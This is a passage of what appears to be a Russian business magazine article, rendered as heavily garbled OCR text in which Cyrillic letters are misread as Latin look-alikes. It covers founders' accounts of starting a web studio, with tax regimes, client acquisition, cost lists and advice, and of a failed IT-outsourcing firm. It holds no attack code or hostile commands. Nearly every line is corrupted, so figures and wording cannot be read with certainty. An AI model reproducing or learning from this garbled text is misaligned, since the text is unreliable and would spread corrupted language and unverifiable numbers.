3a BpeMs paboThbl s MOHS, 4TO 3BEHO MOAAEPXKKN
HY>XHO NMOCTOAHHO MOHUTOPUTbL 1 Npn HeOGXOﬂMMO—
CcTn pacwmpatb. Ecnv gena komnadmm 6yayT natm
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BBEPX, TO UMEET CMbIC/ BblAENINTb cny>K6y TEXHU4e-
CKOWM NOAAEPXKM B OTAENBHYIO KOMNAHUIO.

ooounuun?

Kaxpas opraHm3aumoHHo-npasoBas GopmMa xopo-
la no-csoemy. MakcumanbHas Bbir0ga 3aBUCUT
OT MCXOOHbIX NapameTpoB. 9 He cTan ocobo na-
puTbCs 1 Boibpan ans cebs UMM,

Peructpaums B kadectBe WIM ocBoboxpaeT
OT BEAEHUSI MOJIHOLLEHHOMO ByxXranTepckoro yyeTa,
a 9To npsimasi 3KOHOMMUS Ha ByXranTepCcKmx ycnyrax
1 Hepsax. UM 0693aH Nu1Lb UCNPaBHO NMAAaTUTb Ha-
lorn 1 cpasaTb HEOOJbLUYIO OTYETHOCTb, KOTOPYIO
3anpocTo NOMOryT CreHepMpPOBaTb CEPBUCHI BPOAE
«Qnbba».

Hanoroo65n0xeHne TakxXe He BbI3bIBAET HKAKMX
TPYOHOCTEN U HE COOEPXMUT NOABOAHbLIX KaMHEW.
Ona UM poctynHo ABe cucTeMbl Hanoroobnoxe-
Hus: obwas cuctema HanoroobnoxeHus (OCHO)
1 ynpouieHHasa (YCH). He 6yny BpasaTbCsi B MOA-
pobHOCTK, a ckaxy nuiib, 4To OCHO Tbl nonyya-
elb Mo YMONYaHMO (& Mbl 3HaeM, 4To AedoNTHbIe
HACTPOIKM He BCEerga XOopoLlu), a BMECTE C HUM
06513aHHOCTN BECTU ByXranTepckuii y4eT B NOSHOM
o6beme. Bbibrpas Tak Ha3bIBAEMYIO «YNPOLLEHKY>,
nosily4yaellb MakeT JIOSNIbHOCTM OT Hallero rocy-
napctea B Buae ocBoboxaeHus ot ynnatel HAC,
HO®, Hanora Ha WMMYLLECTBO W MakKCUMasibHO
YNPOLEHHbI ByXy4eT.

Ons ceoeit Beb-ctyoum s Bbibpan YCH. Het
CMbICNa TPaTUTb NNLWIHME OEeHblrn, KOTOPbIX Ha 3Ta-
ne o6pasoBaHnsa NONPOCTy HeT. Tem 6onee npu He-
obxoanmocTn murpuposatb Ha OO0 ocoboro Tpyaa
He COCTaBuT.

Kpome Bbibopa OpraHM3aLMOHHO-MPABOBOWA
$POopMbI, MPU NOCTaHOBKE Ha y4eT TpebyeTcs onpe-
[ennTbcsa ¢ 00bEeKTOM Hanoroobnoxexus. MNog 06bL-
€eKTOM MoApa3yMeBaeTcsi Cxema, no KOTOPOoW npo-
M3BOAMTCS BbINiata HaloroB B MOJb3y rocyaapcTBa.
IOns UM, paboTatowmx no YCH, noctynHo aga Bapu-
aHTa: goxodpl (nnatmm 6% OT AOXOAOB) M [OXOAbI
MUHYC pacxogpl (0T 5 0o 15%, oTHMMaeEM OT J0XO-
[OB pacxodbl U C MOMYYUBLLENCS CYyMMbl OTCHUTbI-
BaeM MPOLEHTHYIO CTaBky). A obcumTan Bce aTo He-
CKONbKO pa3 1 OCTaHOBWJ/ICS Ha NEPBOM BapuaHTe.

PacxonoB y Moeli Be6-CTyamun, KoTopble 1 Mory
noaTrBepaunTb AOKYMEHTa/IbHO, MPakKTU4eCKn HeT.
B cBA3u ¢ aTM Hanorosas ctaBka B 6% 6yneT B ca-
Mblih pa3. OnpeanennTbLCs C HaNOroBoOW CTaBKON MHe
nomorna Hebosnbluas Tabanyka, KOTOPYHo A Koraa-To
cocTaBun ans cebs (CM. BPesky).

KAKS UCKAJI NEPBbIX KJIMEHTOB

Korpa ¢ opraHM3aumoHHbIMU BOMPOCaMM MOKOHYe-
HO ¥ KOMaHAa npvBefeHa B OOEBYIO FOTOBHOCTb,
BCTaeT eCTECTBEHHbIVi BONPOC: a rae e 6parb nep-
BbIX KJIMEHTOB? 9 HE OTKPOK AMEPUKMK, ECNN CKa-
XY, YTO O MEPBbIX KIMEHTax HaLo 3ab0TUTLCH eLle
Ha aTane opraHnsauum 6usHeca.

OTO MOryT 6bITb APY3bsi, POACTBEHHMKM, 3HAKO-
Mble, OpYy3bst Apy3el 1 Tak ganee. [naBHoe, 4TOObI
OHW BbINN NNAaTeXecnocobHbl N 3anHTEPECOBaHbI
B ycnyrax TBOEW KOMMaHuu. HauyanbHble KIMEH-
Tbl MO3BONSAT Cpa3y 3anyCTUTb KOHBEWep npous-
BOACTBA M CO34aTb 3ajesl BPEMEHHbIX PecypcoB
015 moncka HoBbIX NOTpebuTeneit.

B Moem cnyyae 6bi10 UMeHHO Tak. [lo opraHu-
3auumun I'IOﬂHOLI.EHHOVI CTyoumn ¢ ycnen coenatb He-
CKOJIbKO MPOEKTOB, M UX 3aKa34MKM (B OCHOBHOM 3TO
ObINy APY3bs UKW APY3bsi APY3€Eli) HAYAIN PEKOMEH-
noatb Mou ycnyrn. CapadaHHoe paamo 3apaboTa-
J10 XOPOLLIO, 1 NEepBy0 04epeb KIIMEHTOB A MNOJYHUI
[0 HaiMa COTPYAHMKOB. 9 Obl Aaxe ckasal, YTo 310
Obl1 OONH M3 BaXHEWLIMX aprymMeHTOB 3a 3anyck
CcoBCTBEHHOrO Aena, Tak Kak MOUX JINYHbIX pecyp-
COB Y€ He XBaTasno 4Jisl yA0BNETBOPEHNS Crpoca.
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Mocne 3anycka CTyamMu s Ha4an MckaTb HOBbIE
NOTOKN KJIMEHTOB 1, MOMPOCTY rOBOPSl, NUAPUTHLCS.
MeHsa nHTEpecoBasin He TOJIbKO KJIMEHTbI, HO 1 CaM
nnap. MHe XoTenochk, 4TOObl NMPO MO KOMMAHWIO
y3HaNo kak MOXHO Gosblie Hapoga. Moxert, aTo
HEe COBCEeM MNpaBUibHO C TOYKU 3pEeHNA MapKEeTUH-
ra, HO 1 cTapasiCs NPUAEPXMBATLCA NPUHLMNA: YeM
60onblue ChbiWaT NPo MOK0 KOMMaHWUo, Tem H6osbLue
LLUAHCOB, 4YTO B 6y,[],yLLLeM BCMOMHAT MMEHHO Npo
MEHS.

HoBbIM KaHanom noucka KJIMEHTOB ANS MEHs
CTa/in MaccoBble pPaccCblJIKN U KOHTEKCTHasa pekna-
Ma. Ha npowwnoi pabote MHe yaanocb cobpartb Xo-
poluyto 6a3y opraHm3auuii ropoaa, 1 no HUM s Ha-
vyan genatb paccCblsikKn. He Aaymaio, 4To 3TO MOXHO
HasBaTb CNaMOM, HO MOV MMCbMa TOYHO NPUXOANIN
BCEM ;).

Ha odopmneHue nucemMa ¢ npeasioxXeHmem pas-
paboTkn BeO-CanToOB MPULINOCH NOTPaTUTL NpPU-
NMYHO BpemMeHun. KakoBo 6blno Moe yamBReHue,
korga ua noytu 10 Teicay nonyyarenen mexHsa noba-
BWUJIM B CMaMm TOJbKO 4yTb 6onblue 800! Cuntaio ato
Hennoxum peaynstatoMm. KoHBepcus nonyyunach
TOXE [0CTaTo4yHO Hennoxon. [locne nepBoi pac-
CbIfKM B CTyAMto obpatmnnoch 14 KNMeHToB, NooBuM-
He 13 KOTOPbIX yAan0Cb NPOAATb CBOU YCIyr.

KoHTekcTHas peknama B NOMCKOBUKax paboTaeT
TOXe Hennoxo. [lo opraHusaumm 6usHeca s B 310
He 0co60 Bepwsi, MOCKONbKY 3a BCIO CBOK LMdpo-
BYIO XM3Hb HU pady He kavkan no nogobHbIM pe-
KJTAMHbIM 0OBbABNEHUAM B MONCKOBOW Bblaave. Oka-
3an0Cb, MO HUM KNUKAIOT. Jaxe B MOEM He CUIbHO
NPOABUHYTOM ropoge.

LIyTI: no3xe ¢ NOoHAJM, YTO OorpaHn4mnBaTbCs O4-
HUM NPOABWXEHMEM Yepe3 WHTEPHET He CTOWT.
Hayan ncneiTbiBaTh 0GNaNHOBYIO peknamMy 1 onaTb
YAUBUNCA, YTO OTTyAa Nnpwu HEeBONbLUMX BIIOXEHUAX
MOXHO MOJTy4UTb KJIMEHTOB (TYT BCE elle 3aBUCUT
OT LEHOBOro no3vUMOHMPOBaHUS Be6-CTyaoun).
Bonblero ycrnexa yaanocb gOCTU4Yb Ha XOJIOOHbIX

3BOHKax. Crnoco® cTap 1 NMpOCT Kak TPU KOMEWKu:
6epem 6aldy opraHu3auunii, BblAENSEM U3 HUX MO-
TeHuMasibHbIX KJIMEHTOB 1 HAYNHAEM 06380H.

Ecnu atan ¢unsTpaumn 6bin caoenaH npaeBusib-
HO W TEKCT NPeasioXeHUs HanucaH ybeamTenbHo,
TO HaTK TakuM cnocoboM KIMEHTOB BrosiHe cebe
peanbHo. OcobGeHHO B cermMeHTe masnoro 6usHeca.
Kak nokasana npakTtuka, Manblii 6U3Hec He 0cob0o
TycuT B CeTu 1 UM yao0Hel nonyyatb NPeaioxXeHns
Mo CcTapuHKe — 1o TenedoHy.

MoBToptoCb, nepen, Hayanom O063BOHA HYX-
Ho o63aBecTcb CRM 1 packupbiBaTb KJIMEHTOB
no pasHbIM kateropusiM. Mbl pa3genvnu noTeHum-
aNbHbIX K/IMEHTOB HA HECKOJIbKO FPYMM: «CalT yxe
eCTb», «CaliTa HeT», «CalT eCTb, HO YyXe ycTapen».
Ha camom pene B aTux rpynnax Obinu eLue noarpyn-
Mnbl, HO AYMato, MPUHLNM SICEH.

[anee ona kaxnow rpynnbl KIMEHTOB 6bln Noa-
roToBneH IAH,EI.I/IBI/I,EI.yaﬂbeIVI TEKCT MnpensyioxeHus.
Hanpumep, ecnv y koMnaHum yxe ecTb HOpMasib-
HbIlA caiiT, TO NpeanaraTe ero nepenenarb cMbicna
HeT. Jlyywe nonpo6oBatk HaliTK ero cnabble CTOPO-
Hbl U NPEeANoXUTb [OPaBOTKY WU NPOABMXEHME.
Bcerga HyXHO NpuaepxmBaTbCs 34paBOro CMbicna
1 NbITaTbCHA PELUNTbL peasibHyio Npobnemy KaneHTa,
a He BbIcacbIBaTb ee U3 nasbLa.

Hy a nocnepgHuin peknamMHbIl KaHan, KOTOpbIn
MHEe y[asioCb OCBOUTb, — peksiamMma Ha aBTOMOGVI-
ne. Ha cBOeM aBTO MHe KaxAblii AEHb MPUXOANTCS
Topyatb B Npobkax no 30-60 MuHYT. A B 3TO Bpems
MOry nochayLwartb ayAnoKHUI, a CTOALMIA No3aaun
MeHS aBTONIOOMTENb MOXET Y3HaTb O MOEI CTYyAuN.
3By4uMT ONNATL Xe 6aHanbHO, HO B MOEM rOPOAE 3TOT
BU[ peknambl paboTaeT nydiie, yem 6aHHepHas pe-
Kflama Ha WmUTax B TOMOBbIX MECTax.

06 apPeKTUBHOCTU pekiaMbl Ha aBTO S MOry
CyAnTb MO ONbITY CBOMX APY3€eN, OTKPbIBLUMX WH-
TEpHET-Mara3uH AeTckoro nutaHus. OHWM Hayanu
9KCMEPUMEHTMPOBATb C Pa3NNYHLIMU BUAAMU pe-
Knambl, 1 OKasaslioCb, 4YTO MHOrmMe nokynarenu ys-
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3ATPATbI HA OTKPbITHUE

Ony6nnKylo CBOW, YTO YX Tam CKpbIBaTb.
lopon, — XabapoBck, Tak 4TO AenaiTe co-
OTBETCTBYIOLLME NOMNPABOYKN.

+  KomnbioTepsbl, 060pyaoBaHne —

120 000 py6neii.

+  Apenpga oduca — 30 000 py6neii
B MecsL,.

+  TenedoH/nHTepHeT — 3000 pybnei
B MeCsLl.

+ Y6opwwmua — 3000 pybnei B mecs,

+  Meb6enb — 20 000 py6neit.

+  Peknama — 10 000 py6neii B mecsiLl,.
WUToro: 186 000 pyGneit

Hann o Mara3uHe MMEHHO C Haknenkn Ha aBTo. BoT
1 3apgymaiics: notpatutb 40K B Hepenio 3a 6aHHep
Ha KpyrnHom ropozckom noptane unm 1,5K Ha naro-
TOBNEHME HaKIeNkn Ha aBTo.

BU3HEC B PABOTE

Ctan nu s 6oraye, opraHvM3oBaB CBOI 6u3HecC?
Her, noka He ctan. MNosiBunack N1y MeHsi Ky4a CBO-
604HOro BpemeHn? Het, noka He nosiBunack. Mo
NPOEKT TONIbKO HabvpaeT 060pOoThl, @ A BbIHYXAEH
KPYTUTbCSt Kak 6enka B Kosiece, NOCTOSIHHO peLuast
HOBbIE 3a4a4uM. 3a HECKObKO MECALLEB Takoi pabo-
Tbl 91 y6eauncs, 4To TPyAUTLCS MO HalMy HaMHOMo
nerde. Ll,axe €C/IN YyCNOBUSA KaXYTCH TAXeSbIMU,
3TO B pasbl Npolle, YeM 6paTb OTBETCTBEHHOCTb
3a cebs 1 noaen, KoTopble Ha Tebs paboTatoT.

Ho s cBovM BbIGOPOM [OBONEH W, HECMOTPS
Ha BCe TPYAHOCTM, CUMTato, 4TO CBOM G1M3HEC — npe-
KpacHas urpa ons yma v HepeoB. PaboTas B oduce,
HUKOrAa He NOoNYYULLb NOAO0OHbIX OLLYLLEHWIA.

TPWU COBETA U3 MOETO OMbITA

[oBOPSAT, YTO NyYLLE YYMTLCS Ha HY>XWUX OLLMOKAX, MOITOMY st pu3biBato Teds no-
npo6oBaTb NOY4UTLCS HA MOUX ).

Yuucb penermpoBatb. HayuntbCcsi genermpoBartb 3a4adin — OAHA U3 OC-
HOBHbIX 005i3aHHOCTEl pykoBoauTeNns. Ha nepebiii B3rNs, HUYEro CAOXHOrO,
HO Ha NpakTuKe AMpeKTop/pykoBoanTeNb 6epyTcs 3a «He CBOI» paboTy. Tem ca-
MbIM TEPSIETCA OCHOBHOW (DOKYC, HALLENEHHbIN HA pa3BuUTUE KomnaHun. Bmecto
TOro 4ToObl pacnpasuTb Napyca u CTPeMUTENIbHO ABUraTbCs K eI, KOMMaHUs
HauvHaeT apendoBarb.

MpunymHa Yalue Bcero oaHa — 6093Hb OBEPSAThL. ATO owwmnbka. MHe AoBenoch
COBEPLUNTb €€ HECKOJIbKO Pa3, NoKa S HAKOHEL, He NMOHSAN NPOCTYIO NCTUHY — 3a-
4YeM HYXHbl COTPYOHWUKM, KOTOPbLIM CTPALLHO MopyYaTb BaxHble Aena? CmeLwHo
BCMOMWHATb, HO Y MEHS [OXOAMO A0 TOro, Y4TO f HAa4YMHanN nucaTb 4YacTb kKoga
3a Bedyllero pas3paboTynka, BMECTO 0 4TOObl 3aHMMATLCS MPOABMXEHVNEM
KOMMaHuu.

Mpo3peHne ko MHe NpuLwIo He cpady. Koraa aTo cny4mnocsk, 1 ctan npuaep-
XMBaTbCA MPOCTON UCTUHbI: €CNIN COTPYAHMKN HE B COCTOSIHUM BbIMOSIHUTbL NPO-
PunbHblE 334341, 3HAYUT, A He AOMSAEN HA cobecenoBaHUN.

He HbIpsiii B okeaH xaoca. Bce monoaple pa3paboTinky CKIIOHHbI NMOCTO-
SIHHO NPO6OBATb HOBbIE TEXHONOMNN. OHM rOTOBbI K&XAbIN OOHOTUMHbLIN NPOEKT
nenatb Ha HoBovi CMS nnn ¢pperimBopke. Takne BeLum ny4dile cpasy npecekarb.
KcTatu, korga s B cBoe BpeMs npuiien Ha paboTy pa3paboTynkom, Takme 3anpe-
Tbl MEHs1 pasgpaxanu 6onblue Bcero :). CTaB Ha4anbHUKOM OTAena pa3paboTku,
91 NOHsN, 4TO rMyno owwwmnbancs. NMpoboBaTk HOBblE MHCTPYMEHTbI, HECOMHEHHO,
HY>XHO. Tonbko Aenatb 3T0 HE06X0AMMO OCTOPOXHO M Ha AOMALUHMX NPOeKTax.
CTouT 0OMH pa3 NoAAATbCs UCKYLLIEHMIO, U TBOSI KOMMaHMs GOHYCOM mnonyyaeT
Ky4y pa3HOLLEPCTHbIX CaiTOB AJ18 MOAAEPXKKN.

Mopoepxka CTOUT OOPOro, U ecnu Ais 3TOr0 HeT OTAENIbHOW KOMaHAbl,
TO KOMMAHMIO MOTyYT 3a[aBUTb COOCTBEHHbIE Xe TBOpPeHUs. 1 npeanarato cpasy

ONPeaennTLCA C MHCTPYMEHTAMM 1 UCMoNb30BaTh ux ans 90% npoekTos. MycTb
aT0 6ynet aee CMS (3TOro BMnoJiHe AOCTATO4HO) M 0AuH dpelriMBopk. Bee npo-
OYKTbl 3TUX KaTeropuii KONMpPYyT BO3MOXHOCTU APYr Apyra, 1 fyylle noTpaTuTb
BPEMSI Ha UX NIIOTHOE N3Y4eHne, HEM METATbCSl OT OLHOrO PELLEHUS K APYTrOMY.

He uao6perait CMS/CMF. Monoaple koMnaHuu nbitTatoTcs BOyxatb Kydy Ae-
Her Ha pa3paboTKy COOCTBEHHbIX CUCTEM YNPABEHUSI KOHTEHTOM. Kak npaBuno,
Ha cTapTe B KOMMAHUW yXe eCTb Kakne-To HapaboTkun U MPUHMMAETCS IOrMYHOE
peLleHne «aKOHOMUTb» Ha NPUOBPETEHNN KOPOOOUHbLIX NMPOAYKTOB 1 NPOAaBaTb
KNMEeHTaM CBOe pelueHune. Mockosbky in-house MpoAaykT rOTOB HE OO0 KOHLUA,
ouepenHas BepCcusl OOMUIMBAETCS Ha XMBbIX KiMeHTax. KayecTBo Takoro koga
BCeraa nocpeacTBeHHoe (Hekoraa ocobo TecTMpoBaTh PYHKLIMOHAN B COBOKYM-
HOCTW), N B UTOre Kaxzaas KoMnusi BHEAPEHHOIO NPoAyKTa HAYMHAET MOMOJHATb
6arpenopT HoBbIMU 3asiBkaMu. Yem 6onblue Byaer npogax, Tem beictpee Gyaet
paspacrartbcs 6arpenopr.

[pyras npo6nema COBCTBEHHbLIX PELIeHNA — MeANeHHoe pas3BuTUE. Tex-
HOMOMMM NOCTOSIHHO MEHSTCS, 0COO6EHHO B chepe Beb-pa3paboTkn. CerogHs
BEpCTanu Tabnuuamuv, Yepes rog, nepeLunn Ha nnasalowme dNemMeHTbl, a ye-
pe3 napy net nepenayt Ha Flexbox. MNpu akTMBHOM NPOM3BOACTBE HEPeasbHO
nocneeaTtb 3a BCEMU TEHAEHUUSMU. KNMEHTbl HA4YMHalOT TpeboBaTb HOBU3HY,
a NpoAyKT CTYAUW NOKa He FOTOB ero NPeaNoXnTb.

Jlyywe cpasy BbibpaTb 04HY U3 nonynsapHbix CMS 1 3akntounTb NapTHEPCKUA
[oroBop ¢ paspaboTtunkamu. CTOMMOCTb KOPOOKM MO TakoMy AoroBopy 6ynet
Ha 50-60% Huxe, 1 3aTpatbl He ByayT Tak CUNbHO BGUTbL MO KOLLEJbKY.

KcTatun, ecnv nocMoTpeTb UCTOPUIO KPYMHBLIX UTPOKOB Ha pbiHke CMS, To He-
TPYZHO 3aMeTUTb OfHY OOLLYIO YepTy — BCE OHM HauYMHaNM kak Be6-ctyaum. OHu
KOBaJIN COGCTBEHHYIO Pa3paboTKy, HO, KaK TOJIbKO AOLLW A0 ONPeaeneHHOro ypoB-
Hs1, CBEPHY/IM BU3HEC pa3paboTky caiToB 1 CHOKYCUPOBaIUCH Cyrybo Ha NpoayK-
Te. OLHOBPEMEHHO 3aHNMATLCS Pa3pPabOTKON 1 BHEAPEHNEM CIIMLLKOM CIIOXHO.
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Kak coenatb cBoii 613Hec — Tema xopoluas. Ho MoXeT ObITb,
6oee Nose3HbIM U MHTePeCHbLIM ByieT OnvcaHve onbiTa Toro,

KaK NpoBannTb CBOWM GM3HeC. 3a4acTyio oWmnbOKM AenatoT Hac
cunbHel 1 gatoT 60/blUe NoNe3HbIX 3HaHW, Yem ycnexu. Mo-
TOMY AaBai pazbepem OnbIT yCMEeLwHOro nposasna busHeca :).

Anatonuii Omawes
0CHOBATENb U COBNAjeNeL
ctynum CasePress

KAK BCE HAYAJOCb?

VicTopus kpaiHe 6aHanbHa. 3akoH4mn yqeby Ha nporpamMmmMucTa 1 yctpouscs paboTtartb
CUCTEMHbIM aAMUHUCTPATOPOM. [0pOA, ManeHbKMiA, U NOSIBUICS CNPOC Ha Pa3NNYHOMO
popa xantypku. OTcloga BO3HMKNA naes co3natb CBol GuaHec: o6cnyxmBaTb KOM-
nbtoTepsl, 1C 1 odpucHyio annaparypy.

MNMepBble KNNEHTbl

MepBble 3akasbl ObIM NONyYeHbl Mo capadaHHomy pagmo. O ToMm, Kak npoaasaTb
1 4TO NPOAABATh, Mbl TOrAa He 3Hann. CucTemMbl LEHOO6Pa30BaHUS He Obl10 — Kak J0-
roBOPUNCH, Tak 1 paboTaem.

OdopmneHue

MepBbIM AenoM, KOHEYHO Xe, 3apernctpupoBanu UMM, 4To6bl Bce 6bi10 odpuumansHo.
Ha nepcnekTtuy 3apeructpuposan OO0, No 04HOW NPUYMHE — AyManu, Tak ayyie
3BYYMUT :). Mbl 6blIN KOMaHAON MONOAKIX, NOJHBLIX 9HTy3ra3ma pebsaT, n NoToMy BCe
cTanu yupeamTensiMmn B paBHbIX A0NsIX, 4TOObI HUKOro He 06uaeTb. Kak opopmnsite By-
Marv NpaBuIbHO, Mbl HEe 3HanW. oAbl CNyCTS, YiTasi AOrOBOPHbIE JOKYMEHTbI 1 YCTaB
o6LLecTBa, 5 cMesncs A0 cnes. Jaxe Hymepaums NyHKToB 6bina ¢ owmnbkamu, He ro-
BOPS O CMbICJIE NMYHKTOB U UX NOTUKE.

Mpopaaxu u NOUCK HOBbIX KJIMEHTOB

Hukakol cuctembl He 6bin0. KnMeHToB nckanu kak npuaeTcs, KTo-To CaM Hac Haxo-
ovn. NMpo6osanu 063BOHbI M BCTPEYM, HO ObII0 04EHb 3aTPATHO, U PeAKO Kakas caenka
npuxogmna K ycnexy. Meitanuce cpady caenats CRM, HO He NOHMManu cam CMbICH
3TOW CMUCTEMbI, MOSTOMY Ha BbIXOAE YHeT Beau Kak noay4ntca. Ha camom gene pa-
60Tano Tonbko capadaHHOe Paamno, U Mbl OT HEFO 3aBUCENN. A Kak caenaTb CUCTEMY
NPOAAxX 1 NOTOK 3aKa30B — Mbl HE 3HaNN.

Oduc

Oduc B3anm cpasy 60MbLLION, Ha BLIPOCT. [ocTaBunv Tyaa mebesnb 1 3acTaBnsnm apyr
Apyra xoauTb B Hero. He moTomy, YTO OH HaM HY>EH, a MPOCTO NOTOMY, 4TO OpUC ac-
coummnposasncs ¢ 6usHecom. MNonosuHa odurca Bcerga nycrosana.

MpoAayKT M pbIHOK

Torma He ObifI0 MOHUMAHWS NPOAYKTA W pPbiHKAa. Mbl HasbiBanM TO, YeM 3aHMMaeMCs, No-
pasHomy. Mo-ymHoMy — UT-ayTCOPCUHT, MPoLLEe — TexHu4eckoe obcnyxnaHme. Mbl He NOHU-
Masnu cxemy LieHoo6pa3oBaHMs 1 MHOTO 9KCneprMeHTMpoBanu. OavH Aorosop 6bin cocTaBneH
no OJHON CXxeme, BTOPO No Apyron. Kaxabii 4OroBop nony4ancs npon3seaeHneM NCKyccTBa,
B KOTOPOM HEBO3MOXHO pa30obpartbcsi Aaxe npy O4eHb GONbLIOM XenaHnuun. [a u xenaHus
HW Y KOrO He 6bl10, NO3TOMY AOrOBOPbI KaK-TO padoTanu U Mbl Aaxe Noayyany no HAM 40X04bl.
B kakom-ToO MOMEHT Mbl NPULLINN K naee TEXHNHecknx 3aganunii. NponvceliBanv 3agaHune, onpe-
[ensnm CToMMOCTb. YacTb 3aa4aHunii Obinv pa3oBble, YacTb eXeMeCAYHbIe.
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WORKFLOW

Kak aTo pabdoTano
Mbl ucnons3oBanu 1C. Byxrantepuio Benn B 04HON KOHPUry-
paumu n ewe ofHy KOHbUrypaumio B3snn AJisl ydeTa 3asiBokK.

TyT cuTyaumsi cnoxunacb ABOskO. C OOHOW CTOPOHBI,
300POBO, YTO Mbl Hay4UIUCb GUKCUPOBATL 3asiBKU. Mbl cTa-
NN MeHblUe 3abbiBaTb NPO KINEHTOB, Y HA TOT MOMEHT 3TO
6bln10 NPOpPbLIBOM. KauecTBO yCnyr CUbHO BbIPOCO B CpaB-
HEHWM C KOHKYPEHTaMu, U Mbl AaXe MOorioTuAv 0gHoro. Toro,
Y KOro 1 Takoi CUCTEMBI He OblO.

Ho 6bina 1 o4eHb ocTpas npobnema — nopabdarsiBaTb 3TU
KOHOUrypaLmm nog, Hac O4eHb XOTeNIoCb, HO OblNO KpaiHe
TPYAOEMKO, N BCE BPEMSI He XBatano BpemeHu. [pu aToM
Oblna TONMbKO perncTpauus dakta 3asBku U pesynbrarta.
A Bce, 4TO 6bISI0 MO XOA4Y, PeLLanock no TenedoHy, TMYHO NUan
yepes 9NeKTPOHHYI0 NoyTy. Kak cneactsne, Hepeako Tepsi-
nack uctopusi. B koHodwurypaumm 6uin dyHKUMOHAN Ans Beae-
HUS UCTOPUKN, HO OH BbIN CAenaH Tak, YTO BECTU TaM KaKylo-
NIMB0O UCTOPUIO MOXHO ObINO TOBKO NOZ, Ay/OM nucToneTa,
M gepxatb 9TOT NMUCTOJNIET NPUXOAMNIoCb MHe. O4eHb CKOpO
aTa nges ymepna us-3a ee HepeasbHOCTU.

Yxe Toraa Mbl XOTENN BUAETL HALLY CUCTEMY YEM-TO BPO-
ne caiTta. Ham HpaBunocb, kak yaooOGHO MepenvchiBaTbCs
B KOMMEHTapusax, BECTU avanoru Ha dpopymax. M xotenocs,
4TOObI HaLWa cucTema Obina Takol xe ynobHoi. Ho Ha pbiHke
HUYero Nofo6bHOro B TOT MOMEHT He BblfIo.

PocT0unsHeca
PocTa kak TakoBOro He 6bis10. Mbl NO-HACTOALLEMY HE 3HaNU
HM CBOUX O0OXO0A40B, HM pacxogoB, HM TOro, Kak 3aMOTUBMPO-
BaTb COTPYAHWNKOB. Bce paboTtanu Ha aHTy3na3me, KOTopblin
ObICTPO MCCHKa, U NIOAN YXO4NUIN.

HyXHO 6bI710 MOBbILWATE CTOUMOCTb YCAY, HO KIAVWEHTbI
He XoTenun niaatunTb 60I'IbLLIe, a KakK nX 3aCTaBUTb, Mbl HE NMOHN-
Manu. Ham 6bi510 CTpaLLHO NOTEPSTh KSIMEHTA, MOTOMY YTO Mbl
He yMenin HaxoAnTb HOBOro. Mbl paboTanu B npeaenax 0aHo-
ro ropoja 1 He 3Hanu, Kak BbINTU Ha APYron ropom, nNpu ToMm
YTO U TYT HE CNpaBaAINCh.

Auvsepcuduxkauns

Ja, IMeHHO Tak Mbl Ha3Banu To, 4eM cTpaganu. Mel genanu
Bce. XoueT knneHT 1C — cTtaBum n obcnyxmsaem 1C. XoyeT
NpVHTEP 3anpaBuTb — TyT Xe 3anpasnsem. Xoyet ATC no-
cTaBuTb — HeT npobnem! CKC npoTtaHyTb? [Moxanyiicra!
Kakoin-1o codT noctaBunm — pasbupanvicb C HAM U MOMO-
rann HacTpouTtb. Mbl 3aHMManuces Bcem! Hago v rosopuTsb,
YTO KaxAblil 3aka3d Obin Ha Hyne No NPUObLIN U C Ky4ei oLmn-
60K. Mbl He 0c060 BO BceM pasbrpanncb 1 NPOCTO 3TO Kak-
TO Aenanu.

Konnanc
B kakoii-To MOMEHT cuTyauusi Hakanunack Ao npegena. Ha-
Yanucb KOHGNMKTbl. He 6blno 04HOro rMaBHOro, peLueHus
6eCKOHEYHO 0CMapUBaIUCh, U HAKTO HE MOT, ONMPasiCb Ha aB-
TOPUTET, NPUHSTL OAUH U3 BapraHToB. KayecTBo ycnyr 6b110
BbILLIE, YeM Y KOHKYPEHTOB, HO BCE PaBHO O4YEHb HU3KOE.
dupmy 6ykBanbHO pasopsasno. HYacTb yupeavTenei otko-
JIOSINCh 1 YLLIN AeNaTh Takyio ke GUpMy, TOJbKO eLLe C Top-
roenein. Notom 1 oHW pacnanuck. To, 4TO OCTanoChb OT Gup-
Mbl, MbITAAVCL BLIBECTU B MOC. MbITanvCb HATX HAEMHOIO
ynpaeneHua. Bce nonbitkn notepnenn ¢uacko. Ceinvac Ty
CUTyauMio MOXHO Ha3BaTb OAHVM C/IOBOM — JIMXOPaKa.

B TakomM BuAe Mbl MPOCYLLECTBOBANN €Llle OKOJIO roaa.
KoHKypupys co cBovMMK ObiBLUMMU napTHepamu. OTt6upas
[pyr y apyra knneHToB. Nrpasi B yepHblin PR. Kaxablli 06Bu-
HSAN gpyr apyra B knesete. A1o Obi yxac. M B kakon-To Mo-
MEHT MHe 9TOT y>ac Hagoen. 9 Toxe Bbiles 13 GUpMbl, 1 TO,
4TO OCTaNIoChb B UTOre, NMPOAroHN3MPOBAB ELLE OKOJIO roaa.
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OTKpbIBaEM CBOIO BEO-CTYANIO

PABOTA HAJ] OLUIMBKAMMU W CTAPT HOBOI0 BU3HECA

MNMepesarpyska

MHe noHapobunock OKOJSIO ABYX JNET, YTOObl OMPaBUTLCSH OT MOJy-
YeHHOW [,03bl CTPecca U BOCCTAaHOBUTL CUbl. YCTpoucst Ha paboTy,
yuuncs ynpaensite. Bckope 3aHsn AOMKHOCTb AMpekTopa no pas3su-
TUIO B KPYMNHOW pefiepanbHOoi KomMmnanun. Bbliv MHTEPECHbIE 3apa4u,
HO BCE OHW Ka3anncb AETCKMMU UrpamMun B CPaBHEHWM C TEM, HTO NpU-
LLNOCh NEePeXuTb Ha BOJIbHbIX XJiebax.

CBOIt BU3HEC MOXHO CPaBHUTbL CO CMYCKOM Ha CHoyGopae wunu
ynpaeneHvem kavitom. OnacHo. TpyaHo. BeimatbiBaeT. Ho nonpo-
60BaB OAWH pa3 — OCTAHOBUTLCS YXe CJIOXHO. MOoSBMANCE MbICIN
0 TOM, 4YTO HYXHO CHOBa mnonbiTatbcsl. MO3r Hayan nckarb HOBble
naen. I B Kako-ToO MOMEHT MPULLIO OCO3HAHWE, YTO MHTEPECHbI
pbIHOK — 3T0 Be6-paspaboTka.

B aT0T pas yxe 6bii0 ny4llee NoOHMMaHVe TOro, YTO eCTb NPOAYKT
1 PbIHOK. He xoTenock orpaHnymearts cebst 0O4HUM ropoaoM, U MOTOMY
Tema Beb-pa3paboTok ka3anach eLe HTepecHe. TyT HET TeppPUTO-
puanbHbIX rpaHnL. PaGoTait oTkyaa YrofHO 1 Ha KOro YrofHO.

Y3kas cneuuanusaums

MapkeTUHr HanepBomM mecTe

